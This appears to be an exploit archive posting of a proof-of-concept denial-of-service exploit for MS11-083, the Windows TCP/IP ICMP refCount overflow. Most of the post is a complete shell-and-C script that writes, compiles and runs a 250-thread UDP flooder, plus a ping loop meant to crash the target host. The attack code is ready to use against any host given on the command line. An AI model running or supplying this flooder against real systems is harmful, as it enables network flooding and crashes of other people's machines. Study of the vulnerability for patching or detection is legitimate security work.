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MS11-083 Denial Of Service

MS11-083 Denial Of Service
Posted Nov 12, 2011
Authored by prdelka

MS11-083 denial of service proof of concept exploit. It attempts to trigger the ICMP refCount overflow in TCP/IP stack of Win7/Vista/Win2k8 hosts. This requires sending 2^32 UDP packets to a host on a closed port, or 4,294,967,296 packets. A dereference function must be called that is not triggered via UDP but ICMP echo packets. This exploit creates 250 threads and floods a host with UDP packets and then attempts to trigger the de-ref using ping.

tags | exploit, denial of service, overflow, udp, tcp, proof of concept
MD5 | 008b8b944a3292e2c174e887ef165b2c

MS11-083 Denial Of Service

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#!/bin/sh
cat >> winnuke2011.c << EOF
/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to
* enter a condition where this vulnerability is
* triggerable.
*
* -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>

int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {
pthread_t thread;
int iret,lthreads;
pid_t pid;
printf("[+] MS11-083 DoS/PoC exploit\n");
if(argc<3){
printf("[!] Usage : %s <server> <port>\n", argv[0]);
exit(1);
}
char *const args[] = {"ping",argv[1],NULL};
char *const envp[] = {"",NULL};
port = atoi(argv[2]);
for(lthreads=0;lthreads<250;lthreads++){//UDP flood
iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
printf("[-] Thread number %d started\n",lthreads);
sleep(1);
}
printf("[-] One does not simply barrel roll into Mordor\n");
pid = fork();
if(pid==0){// trigger deref.
execve("./ping.sh",args,envp);
};
while(active){
}
printf("[-] You are finished. Patience is a virtue.\n");
exit(0);
}

void *sendpackets(void *ptr)
{
int sd, rc, n, echoLen, flags, error, timeOut;
unsigned long i;
struct sockaddr_in remoteServAddr;
struct hostent *h;
char str[41];
pthread_mutex_lock(&mutexactive);
active++;
pthread_mutex_unlock(&mutexactive);
srand(time(NULL));
for (i = 0;i < 40;++i){
str[i] = (char)((rand() % 78) + 30);
}
str[40] = '\0'; // yes this was off-by-one. :(
printf("[-] Sending payload '%s'\n",str);
h = gethostbyname(ptr);
if(h==NULL) {
printf("unknown host '%s' \n",(char*)ptr);
exit(1);
}
remoteServAddr.sin_family = h->h_addrtype;
memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
remoteServAddr.sin_port = htons(port);
sd = socket(AF_INET,SOCK_DGRAM,0);
if(sd<0){
printf("[!] Cannot open socket\n");
pthread_exit((void*)0);
}
flags = 0;
for(i=0;i<4294967295;i++){
rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
if(rc<0){
printf("[!] Cannot send data\n");
close(sd);
pthread_exit((void*)0);
}
}
pthread_mutex_lock(&mutexactive);
active--;
pthread_mutex_unlock(&mutexactive);
pthread_exit(NULL);
}
EOF
cat >> ping.sh << EOF
#!/bin/sh
while \`true\`;do /sbin/ping -c 1 \$1;done
EOF
chmod +x ping.sh
gcc winnuke2011.c -o winnuke2011
./winnuke2011

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